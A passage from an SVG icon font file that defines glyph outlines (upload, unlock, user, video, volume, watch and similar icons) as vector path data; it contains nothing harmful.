-21.7718 30.2597q-2.9815 19.8229 9.86542 35.2104q12.8469 15.3875 34.3491 14.5299 q8.99974 -0.357666 18.0069 -0.357666q41.2149 0 96.8703 12.2186q55.6555 12.2186 93.0801 29.4831q-138.091 85.2104 -183.808 225.792q-42.6547 131.245 -0.597336 286.208q10.1872 37.5797 21.0773 62.208q4.66515 10.4811 16.0862 17.899 q11.4211 7.41791 22.8936 7.41791q22.1758 0 34.9188 -18.1489q46.3502 -66.1114 136.135 -117.192q89.7846 -51.0804 170.297 -57.1442l-0.00582886 1.65198q0 66.6757 44.0689 130.736q44.069 64.0603 106.337 87.9001q40.2839 15.3991 83.4106 15.3991 q36.9817 0 82.6498 -17.4633t73.2142 -42.1385q52.2405 19.2434 97.7067 51.3707zM859.735 618.539q-6.0097 -1.80695 -12.2852 -1.80695q-19.4583 0 -32.2161 14.6923q-18.365 21.1567 -51.1902 36.1299q-32.8251 14.9732 -60.8409 14.9732q-27.3588 0 -52.9182 -9.75916 q-39.5581 -15.1824 -67.5546 -55.9151t-27.9965 -83.1042q0 -1.22925 0.0203857 -2.46326v-42.7093l6.10352e-05 -0.0570984q0 -17.2105 -12.1763 -29.7076t-29.381 -12.9446q-103.891 -2.70886 -199.794 36.3044q-95.903 39.0132 -168.078 112.602 q-27.5169 -118.915 4.43733 -217.259q45.1055 -138.848 208.981 -211.797q22.9442 -10.2081 25.184 -35.232t-18.528 -39.136q-29.649 -20.1573 -75.0288 -41.3971q-45.3798 -21.2398 -79.8512 -31.0936q69.4092 -18.2832 138.685 -18.9077 q69.2755 -0.624463 132.175 16.2698q62.8998 16.8943 119.641 48.1051q56.7413 31.2108 102.644 78.5174q45.9023 47.3066 79.517 105.46q33.6147 58.1529 51.9271 130.979q18.3125 72.8259 18.3125 153.156q-0.0430908 13.9041 -2.64532 27.5627 q-0.760559 3.97827 -0.760559 8.02814q0 17.8618 12.7072 30.4146q14.0721 13.8828 26.368 29.952q-13.9974 -5.17987 -29.3547 -9.81335v-0.0435791z" /> <glyph glyph-name="upload" unicode="" d="M554.667 665.003v-409.003q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v409.003l-140.501 -140.501q-12.4008 -11.9771 -29.641 -11.9771q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.2403 11.9771 29.6411 l213.333 213.333q12.4961 12.4922 30.1653 12.4922q17.6694 0 30.1653 -12.4922l213.333 -213.333q13.0256 -12.5806 13.0256 -30.6896q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013q-18.1091 0 -30.6896 13.0256zM853.333 256 q0 17.664 12.5013 30.1653t30.1653 12.5013q17.6639 0 30.1653 -12.5013t12.5013 -30.1653v-170.667q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-597.333q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v170.667q0 17.664 12.5013 30.1653 t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h597.333q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653z" /> <glyph glyph-name="umbrella" unicode="" d="M554.667 341.333v-256q0 -35.328 25.0026 -60.3307q25.0027 -25.0027 60.3307 -25.0027q35.3279 0 60.3307 25.0027q25.0027 25.0027 25.0027 60.3307q0 17.664 12.5013 30.1653t30.1653 12.5013q17.6641 0 30.1653 -12.5013t12.5013 -30.1654 q0 -70.656 -50.0053 -120.661q-50.0053 -50.005 -120.661 -50.0053q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661v256h-426.667q-17.6556 0.00845337 -30.1509 12.5097q-12.4954 12.5013 -12.4954 30.1569q0 2.03125 0.19297 4.05334 q12.1054 126.265 84.9234 233.406q72.8181 107.14 186.418 169.401q113.6 62.2607 240.445 62.2607q126.844 0 240.445 -62.2608q113.6 -62.2608 186.418 -169.401q72.8181 -107.14 84.9234 -233.406q0.192993 -2.02283 0.192993 -4.05334q0 -17.6555 -12.4954 -30.1569 q-12.4954 -12.5013 -30.1509 -12.5098zM512 768q-153.122 0 -271.097 -96.5606q-117.975 -96.5606 -148.743 -244.773h839.68q-30.7676 148.212 -148.743 244.773t-271.097 96.5606z" /> <glyph glyph-name="upload-cloud" unicode="" d="M652.518 183.168q12.4008 -11.977 29.641 -11.977q17.6639 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.2403 -11.977 29.641l-170.667 170.667q-12.4959 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-170.667 -170.667 q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l140.501 140.501zM469.35 384v-384q0.00274658 -17.6613 12.5041 -30.1607t30.1626 -12.4994q17.6612 0 30.1626 12.4994q12.5013 12.4994 12.504 30.1607v384 q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994t-30.1626 -12.4994q-12.5013 -12.4994 -12.504 -30.1607zM427.579 808.107q-21.7185 2.48071 -43.5779 2.48071q-104.256 0 -192.72 -51.408q-88.4642 -51.4079 -139.872 -139.872 q-51.408 -88.4642 -51.4079 -192.72q0 -60.1843 28.2075 -134.694q28.2075 -74.5097 68.0638 -119.605q12.7437 -14.498 32.0464 -14.498q17.664 0 30.1653 12.5013t12.5013 30.1653q0 16.2034 -10.7557 28.322q-31.0037 35.0756 -52.9459 93.0311 q-21.9422 57.9554 -21.9422 104.769q0 123.648 87.5094 211.157q87.5094 87.509 211.157 87.5093q95.7474 0 180.471 -65.6063q84.7239 -65.6063 108.689 -158.306q3.41974 -13.2446 15.5211 -22.6206t25.7803 -9.37939h53.76q70.6093 -0.0465698 120.582 -50.0519 q49.9724 -50.0053 49.9724 -120.615q0 -41.9542 -26.0698 -85.8589q-26.0697 -43.9047 -62.9055 -63.9865q-9.40411 -4.97488 -16.0597 -16.0252q-6.65558 -11.0504 -6.65558 -21.6893q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q11.1537 0 20.8806 5.45853 q55.2537 30.1227 94.3583 95.9797q39.1046 65.857 39.1046 128.788q0 105.914 -74.9584 180.922q-74.9584 75.008 -180.872 75.0779h-22.2293q-33.1372 93.6583 -126.447 167.916q-93.3101 74.2579 -192.018 85.5249zM652.518 183.168q12.4008 -11.977 29.641 -11.977 q17.6639 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.2403 -11.977 29.641l-170.667 170.667q-12.4959 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-170.667 -170.667q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653 t30.1653 -12.5013q17.2403 0 29.641 11.977l140.501 140.501z" /> <glyph glyph-name="unlock" unicode="" d="M256 469.333v127.872q-0.095993 98.5662 66.5791 171.742q66.6751 73.1758 165.613 83.0633q98.9743 9.9198 179.076 -48.5594q80.102 -58.4791 99.8784 -155.089q0.833496 -4.15497 0.833496 -8.3924q0 -14.5361 -10.0953 -26.8036q-10.0953 -12.2676 -24.3596 -15.0653 q-4.27679 -0.877441 -8.64319 -0.877441q-14.4505 0 -26.7822 10.0082q-12.3316 10.0081 -15.3053 24.1493q-13.1847 64.4194 -66.5728 103.404t-119.369 32.3611q-65.984 -6.59198 -110.421 -55.3654q-44.4373 -48.7734 -44.3734 -114.533v-127.915h468.821 q52.7806 -0.0702515 90.2221 -37.4742q37.4415 -37.404 37.5646 -90.1845v-299.349q-0.0176392 -52.8507 -37.4341 -90.2547t-90.2672 -37.404l-0.0853271 2.28882e-05h-597.76q-52.7805 0.0702591 -90.222 37.4743t-37.5646 90.1844v299.349 q0.0176392 52.8507 37.4341 90.2547q37.4165 37.404 90.2672 37.404l0.0853271 -3.05176e-05zM170.667 341.675v-299.349q0 -17.386 12.4957 -29.8556t29.9577 -12.4697h597.76q17.5975 0 30.0254 12.3934t12.4279 29.9319v299.349q-0.122192 17.4532 -12.561 29.8546 q-12.4388 12.4013 -29.8923 12.4708h-597.76l-0.0853577 9.15527e-05q-17.5227 0 -29.9366 -12.4014q-12.4138 -12.4013 -12.4315 -29.9241z" /> <glyph glyph-name="user-check" unicode="" d="M725.333 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5066h-298.667q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00270382 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994 q17.6613 0 30.1626 12.4994t12.504 30.1607v85.3333q0 52.992 37.504 90.496t90.496 37.504h298.667q52.9919 0 90.496 -37.504t37.504 -90.496v-85.3333q0.00268555 -17.6613 12.504 -30.1607q12.5014 -12.4994 30.1627 -12.4994t30.1627 12.4994 q12.5013 12.4994 12.504 30.1607v2.00117e-05zM362.667 384q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.3201 62.5066 150.827q62.5067 62.5067 150.827 62.5067q88.32 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827t-62.5067 -150.827 q-62.5067 -62.5067 -150.827 -62.5067zM362.667 469.333q52.992 0 90.496 37.504t37.504 90.496q0 52.9919 -37.504 90.496q-37.504 37.504 -90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504zM755.499 456.832 q-12.4008 11.977 -29.6411 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.641l85.3333 -85.3333q12.4959 -12.4922 30.1653 -12.4922q17.6693 0 30.1653 12.4922l170.667 170.667q13.0256 12.5806 13.0256 30.6896 q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1089 0 -30.6897 -13.0256l-140.501 -140.501z" /> <glyph glyph-name="user-minus" unicode="" d="M725.333 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5066h-298.667q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00270382 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994 q17.6613 0 30.1626 12.4994t12.504 30.1607v85.3333q0 52.992 37.504 90.496t90.496 37.504h298.667q52.9919 0 90.496 -37.504t37.504 -90.496v-85.3333q0.00268555 -17.6613 12.504 -30.1607q12.5014 -12.4994 30.1627 -12.4994t30.1627 12.4994 q12.5013 12.4994 12.504 30.1607v2.00117e-05zM362.667 384q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.3201 62.5066 150.827q62.5067 62.5067 150.827 62.5067q88.32 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827t-62.5067 -150.827 q-62.5067 -62.5067 -150.827 -62.5067zM362.667 469.333q52.992 0 90.496 37.504t37.504 90.496q0 52.9919 -37.504 90.496q-37.504 37.504 -90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504zM981.333 469.333h-256 q-17.6612 -0.00265503 -30.1607 -12.504q-12.4995 -12.5014 -12.4995 -30.1627t12.4995 -30.1627t30.1607 -12.504h256q17.6613 0.00271606 30.1607 12.5041q12.4995 12.5013 12.4995 30.1626t-12.4995 30.1626q-12.4994 12.5014 -30.1607 12.5041z" /> <glyph glyph-name="user-plus" unicode="" d="M725.333 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5066h-298.667q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00270382 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994 q17.6613 0 30.1626 12.4994t12.504 30.1607v85.3333q0 52.992 37.504 90.496t90.496 37.504h298.667q52.9919 0 90.496 -37.504t37.504 -90.496v-85.3333q0.00268555 -17.6613 12.504 -30.1607q12.5014 -12.4994 30.1627 -12.4994t30.1627 12.4994 q12.5013 12.4994 12.504 30.1607v2.00117e-05zM362.667 384q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.3201 62.5066 150.827q62.5067 62.5067 150.827 62.5067q88.32 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827t-62.5067 -150.827 q-62.5067 -62.5067 -150.827 -62.5067zM362.667 469.333q52.992 0 90.496 37.504t37.504 90.496q0 52.9919 -37.504 90.496q-37.504 37.504 -90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504zM810.667 554.667v-256 q0.00268555 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1627 -12.4994q17.6613 0 30.1627 12.4994q12.5013 12.4995 12.504 30.1607v256q-0.00274658 17.6613 -12.5041 30.1607q-12.5013 12.4995 -30.1626 12.4995t-30.1625 -12.4995 q-12.5013 -12.4995 -12.5043 -30.1607zM981.333 469.333h-256q-17.6612 -0.00265503 -30.1607 -12.504q-12.4995 -12.5014 -12.4995 -30.1627t12.4995 -30.1627t30.1607 -12.504h256q17.6613 0.00271606 30.1607 12.5041q12.4995 12.5013 12.4995 30.1626t-12.4995 30.1626 q-12.4994 12.5014 -30.1607 12.5041z" /> <glyph glyph-name="user-x" unicode="" d="M725.333 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5066h-298.667q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00270382 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994 q17.6613 0 30.1626 12.4994t12.504 30.1607v85.3333q0 52.992 37.504 90.496t90.496 37.504h298.667q52.9919 0 90.496 -37.504t37.504 -90.496v-85.3333q0.00268555 -17.6613 12.504 -30.1607q12.5014 -12.4994 30.1627 -12.4994t30.1627 12.4994 q12.5013 12.4994 12.504 30.1607v2.00117e-05zM362.667 384q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.3201 62.5066 150.827q62.5067 62.5067 150.827 62.5067q88.32 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827t-62.5067 -150.827 q-62.5067 -62.5067 -150.827 -62.5067zM362.667 469.333q52.992 0 90.496 37.504t37.504 90.496q0 52.9919 -37.504 90.496q-37.504 37.504 -90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504zM737.835 524.501l213.333 -213.333 q12.4007 -11.977 29.6411 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-213.333 213.333q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2404 11.9769 -29.6411zM951.168 584.832 l-213.333 -213.333q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977l213.333 213.333q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.109 0 -30.6897 -13.0256z" /> <glyph glyph-name="user" unicode="" d="M896 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5067h-341.333q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994 q12.5013 12.4994 12.504 30.1607v85.3333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h341.333q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-85.3333q0.00268555 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994 t12.504 30.1607zM512 384q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.32 62.5067 150.827q62.5067 62.5067 150.827 62.5067q88.3203 0 150.827 -62.5067t62.5067 -150.827t-62.5067 -150.827q-62.5066 -62.5067 -150.827 -62.5067zM512 469.333 q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496q0 52.9919 -37.504 90.496t-90.496 37.504q-52.992 0 -90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504z" /> <glyph glyph-name="users" unicode="" d="M768 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.5067 -150.827 62.5067h-341.333q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00270382 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994q17.6613 0 30.1626 12.4994 t12.504 30.1607v85.3333q0 52.992 37.504 90.496t90.496 37.504h341.333q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-85.3333q0.00268555 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.504 30.1607zM384 384 q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.3201 62.5067 150.827q62.5067 62.5067 150.827 62.5067t150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827t-62.5067 -150.827q-62.5067 -62.5067 -150.827 -62.5067zM384 469.333 q52.992 0 90.496 37.504t37.504 90.496q0 52.9919 -37.504 90.496q-37.504 37.504 -90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504zM1024 0v85.3333q-0.0440674 68.3667 -46.9241 128.848q-46.8801 60.4815 -113.076 77.5732 q-5.67346 1.59811 -11.568 1.59811q-17.6639 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653q0 -13.9926 9.64008 -26.162t23.2612 -15.3721q39.7202 -10.2557 67.8482 -46.5471t28.1518 -77.3142v-85.2907q0.00268555 -17.6613 12.504 -30.1607 q12.5013 -12.4994 30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.504 30.1607v9.13971e-05zM672.085 721.109q39.8307 -10.2125 68.02 -46.5413q28.1893 -36.3289 28.1893 -77.448t-28.1893 -77.4479q-28.1893 -36.3289 -68.02 -46.5414 q-13.2874 -3.40067 -22.6913 -15.5145t-9.40393 -25.8295q0 -17.6681 12.5043 -30.1723q12.5043 -12.5043 30.1724 -12.5043q5.37457 0 10.5813 1.33261q66.4304 16.9946 113.445 77.5511t47.0148 129.126q0 68.5697 -47.0148 129.126q-47.0148 60.5566 -113.445 77.5511 q-5.20667 1.33258 -10.5814 1.33258q-17.6682 0 -30.1724 -12.5042t-12.5042 -30.1724q0 -13.7157 9.40393 -25.8295q9.40393 -12.1138 22.6913 -15.514z" /> <glyph glyph-name="video-off" unicode="" d="M640.197 213.158v-42.6448q0 -17.6549 -12.4949 -30.1499t-30.1498 -12.4949h-469.093q-17.6549 0 -30.1499 12.4949q-12.4949 12.4949 -12.4949 30.1499v426.448q0 17.6549 12.4949 30.1498t30.1499 12.4949h85.2896q17.6549 0 30.1499 12.4949 q12.4949 12.4949 12.4949 30.1498t-12.4949 30.1498q-12.4949 12.495 -30.1499 12.495h-85.2896q-52.9649 0 -90.4496 -37.4847q-37.4848 -37.4848 -37.4848 -90.4496v-426.448q0 -52.9648 37.4848 -90.4496q37.4848 -37.4848 90.4496 -37.4848h469.093v0 q52.9649 0 90.4496 37.4848q37.4847 37.4848 37.4847 90.4496v42.6448q0 17.6549 -12.4949 30.1499q-12.4949 12.4949 -30.1498 12.4949t-30.1499 -12.4949q-12.4949 -12.4949 -12.4951 -30.1497zM956.366 631.504l-255.869 -185.078l55.1397 -4.39243l-42.6448 42.6448 l12.4949 -30.1499v142.434q0 52.9649 -37.4847 90.4496t-90.4496 37.4847h-142.434q-17.6549 0 -30.1499 -12.4949q-12.4949 -12.4949 -12.4949 -30.1499t12.4949 -30.1499t30.1499 -12.4949h142.434v0q17.6549 0 30.1498 -12.4949t12.4949 -30.1498v-142.434 q0.00366211 -17.6625 12.4949 -30.1499l42.6448 -42.6448q12.4893 -12.4834 30.1475 -12.4834q13.8057 0 24.9922 8.09097l188.234 136.122v-342.949q0 -17.6549 12.4949 -30.1499q12.4949 -12.4949 30.1499 -12.4949q17.6549 0 30.1498 12.4949t12.4949 30.1499v426.448 q-0.00543213 17.6494 -12.5004 30.1404q-12.4949 12.4911 -30.1444 12.4911q-13.8042 0 -24.9891 -8.0899zM13.0202 822.68l938.185 -938.185q12.3944 -11.9709 29.6259 -11.9709q17.6549 0 30.1498 12.4949t12.4949 30.1499q0 17.2314 -11.9709 29.6259l-938.185 938.185 q-12.5741 13.0188 -30.6737 13.0188q-17.655 0 -30.1499 -12.4949t-12.4949 -30.1499q0 -18.0996 13.0188 -30.6738z" /> <glyph glyph-name="video" unicode="" d="M956.544 632.064q11.123 7.94012 24.7893 7.94012q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-0.00415039v-426.667v-0.00411987q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-13.6663 0 -24.7893 7.94012l-298.667 213.333q-17.8831 12.7613 -17.8831 34.7307 q0 21.9694 17.8831 34.7307zM756.054 384l182.613 -130.432v260.864zM85.3338 597.077v-426.155l-0.00137329 -0.342102q0 -17.5236 12.4017 -29.9997q12.4017 -12.4761 29.925 -12.5809h470.016q17.523 0.139877 29.9246 12.6408q12.4016 12.5009 12.4016 30.0245 l-0.000793457 0.257355v426.155l0.00140381 0.342102q0 17.5236 -12.4017 29.9996q-12.4017 12.4761 -29.925 12.5809h-470.016q-17.523 -0.139832 -29.9245 -12.6407q-12.4016 -12.501 -12.4016 -30.0245zM0.000430123 597.077l-0.000256913 0.25647 q0 52.851 37.4041 90.3549q37.4041 37.5038 90.2549 37.6446h470.016q52.8509 -0.105591 90.255 -37.5845t37.4041 -90.3299l-0.000488281 -0.341553v-426.155l0.000244141 -0.256454q0 -52.851 -37.4041 -90.3548q-37.4041 -37.5039 -90.2548 -37.6447h-470.016 q-52.8509 0.105579 -90.255 37.5845q-37.4041 37.4789 -37.4041 90.3299l0.000456094 0.341583v426.155h3.12258e-06z" /> <glyph glyph-name="voicemail" unicode="" d="M608.307 256q-22.21 26.9225 -37.9286 70.6772q-15.7187 43.7547 -15.7187 78.6561q0 97.152 68.7573 165.909t165.909 68.7573t165.909 -68.7573q68.7573 -68.7573 68.7573 -165.909q0 -97.1457 -68.7529 -165.903q-68.7528 -68.7573 -165.898 -68.7637h-554.667 q-97.1457 0.00636292 -165.898 68.7637q-68.7528 68.7573 -68.7528 165.903q0 97.152 68.7573 165.909q68.7573 68.757 165.909 68.7573q97.152 0 165.909 -68.7573q68.7573 -68.7574 68.7573 -165.909q0 -34.9015 -15.7187 -78.6561t-37.9287 -70.6772zM234.675 256 q61.824 0 105.579 43.7547t43.7547 105.579t-43.7547 105.579t-105.579 43.7547t-105.579 -43.7547q-43.7547 -43.7547 -43.7547 -105.579q0 -61.824 43.7547 -105.579q43.7547 -43.7547 105.579 -43.7547zM789.341 256q61.824 0 105.579 43.7546 q43.7546 43.7547 43.7546 105.579t-43.7546 105.579q-43.7546 43.7546 -105.579 43.7546t-105.579 -43.7546q-43.7546 -43.7547 -43.7546 -105.579q0 -61.824 43.7546 -105.579q43.7546 -43.7547 105.579 -43.7546z" /> <glyph glyph-name="volume-x" unicode="" d="M442.667 715.947q11.6907 9.36005 26.6667 9.36005q17.653 0 30.1543 -12.4935q12.5013 -12.4935 12.5124 -30.1465v-597.333q-0.0110168 -17.6529 -12.5124 -30.1465q-12.5013 -12.4935 -30.1543 -12.4935q-14.976 0 -26.6667 9.36002l-201.6 161.28h-155.733 q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v256q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h155.733zM282.667 478.72q-11.6854 -9.375 -26.6667 -9.38666h-128v-170.667h128q14.9812 -0.0116577 26.6667 -9.38666l144 -115.2v419.84z M951.168 542.165l-256 -256q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2404 0 29.6411 11.977l256 256q13.0257 12.5805 13.0257 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1089 0 -30.6898 -13.0256z M695.168 481.835l256 -256q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2404 -11.977 29.641l-256 256q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.641z" /> <glyph glyph-name="volume-" unicode="" d="M528 715.947q11.6907 9.36005 26.6667 9.36005q17.653 0 30.1544 -12.4935q12.5013 -12.4935 12.5123 -30.1465v-597.333q-0.0109863 -17.653 -12.5123 -30.1465t-30.1544 -12.4935q-14.976 0 -26.6666 9.36002l-201.6 161.28h-155.733q-17.664 0 -30.1653 12.5013 t-12.5013 30.1653v256q0 17.664 12.5013 30.1653t30.1653 12.5013h155.733zM368 478.72q-11.6854 -9.375 -26.6667 -9.38666h-128v-170.667h128q14.9812 -0.0116577 26.6667 -9.38666l144 -115.2v419.84zM718.208 504.875q20.6871 -20.6934 35.328 -56.0471 q14.6409 -35.3538 14.6409 -64.6142t-14.6409 -64.6142t-35.328 -56.0471q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.1091 0 30.6896 13.0256q31.0308 31.0401 52.9921 84.0707q21.9612 53.0306 21.9612 96.9213 t-21.9613 96.9213q-21.9613 53.0306 -52.992 84.0707q-12.5805 13.0256 -30.6896 13.0256q-17.6639 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -18.109 13.0256 -30.6898z" /> <glyph glyph-name="volume-1" unicode="" d="M442.667 715.947q11.6907 9.36005 26.6667 9.36005q17.653 0 30.1543 -12.4935q12.5013 -12.4935 12.5124 -30.1465v-597.333q-0.0110168 -17.6529 -12.5124 -30.1465q-12.5013 -12.4935 -30.1543 -12.4935q-14.976 0 -26.6667 9.36002l-201.6 161.28h-155.733 q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v256q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h155.733zM282.667 478.72q-11.6854 -9.375 -26.6667 -9.38666h-128v-170.667h128q14.9812 -0.0116577 26.6667 -9.38666l144 -115.2v419.84z M783.488 655.488q46.546 -46.5601 79.488 -126.106q32.942 -79.546 32.942 -145.382q0 -65.8359 -32.942 -145.382q-32.942 -79.546 -79.488 -126.106q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.1091 0 30.6896 13.0256 q90.1147 90.1356 122.14 210.977q32.0258 120.842 0 241.683q-32.0259 120.842 -122.14 210.977q-12.5805 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.109 13.0256 -30.6894zM632.875 504.875q20.6871 -20.6934 35.328 -56.0471 t14.6409 -64.6142q0 -29.2604 -14.6409 -64.6142t-35.328 -56.0471q-13.0256 -12.5806 -13.0256 -30.6897q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.109 0 30.6897 13.0257q31.0307 31.0401 52.992 84.0707t21.9613 96.9213t-21.9614 96.9213 q-21.9613 53.0306 -52.9919 84.0707q-12.5806 13.0256 -30.6896 13.0256q-17.6639 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -18.109 13.0255 -30.6898z" /> <glyph glyph-name="volume" unicode="" d="M656 715.947q11.6907 9.36005 26.6667 9.36005q17.653 0 30.1542 -12.4935t12.5124 -30.1465v-597.333q-0.0111084 -17.653 -12.5125 -30.1465t-30.1542 -12.4935q-14.9759 0 -26.6666 9.36002l-201.6 161.28h-155.733q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v256 q0 17.664 12.5013 30.1653t30.1653 12.5013h155.733zM496 478.72q-11.6854 -9.375 -26.6667 -9.38666h-128v-170.667h128q14.9812 -0.0116577 26.6667 -9.38666l144 -115.2v419.84z" /> <glyph glyph-name="watch" unicode="" d="M512 42.6672q-92.6716 0 -171.306 45.6959q-78.6346 45.6959 -124.331 124.33q-45.6958 78.6346 -45.6958 171.306t45.6958 171.306t124.331 124.331q78.6347 45.6959 171.306 45.6959q92.6716 0 171.306 -45.6958q78.6346 -45.6959 124.331 -124.331 q45.6959 -78.6346 45.6959 -171.306q0 -92.6716 -45.6959 -171.306q-45.6959 -78.6347 -124.33 -124.331q-78.6346 -45.6959 -171.306 -45.6958zM512 128h0.0159912q105.984 0 180.992 75.0078q75.0078 75.0078 75.0078 180.992t-75.0079 180.992 q-75.0078 75.0078 -180.992 75.0078h-0.0159912q-105.977 -0.00665283 -180.98 -75.0145q-75.0032 -75.0078 -75.0032 -180.985q0 -105.977 75.0032 -180.985q75.0032 -75.0079 180.98 -75.0151zM554.667 512v-110.336l51.4985 -51.4986q11.977 -12.4006 11.977 -29.641 q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.2402 0 -29.641 11.977l-63.9999 63.9999q-12.4975 12.4938 -12.5012 30.1653v128q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653zM661.93 159.616 q1.46722 16.0592 13.9185 27.4247t28.5774 11.3655q17.6666 0 30.1697 -12.5032t12.5032 -30.1698q0 -1.94559 -0.177002 -3.88266l-14.9333 -163.37q-4.34271 -48.2229 -41.683 -82.3516q-37.3403 -34.1287 -85.7584 -34.1287l-0.387756 0.000587463h-184.576 l-0.523224 -0.00106812q-48.4033 0 -85.7538 34.1164q-37.3506 34.1164 -41.7227 82.3218l-14.9333 163.413q-0.177002 1.93716 -0.177002 3.88266q0 17.6666 12.5032 30.1698t30.1697 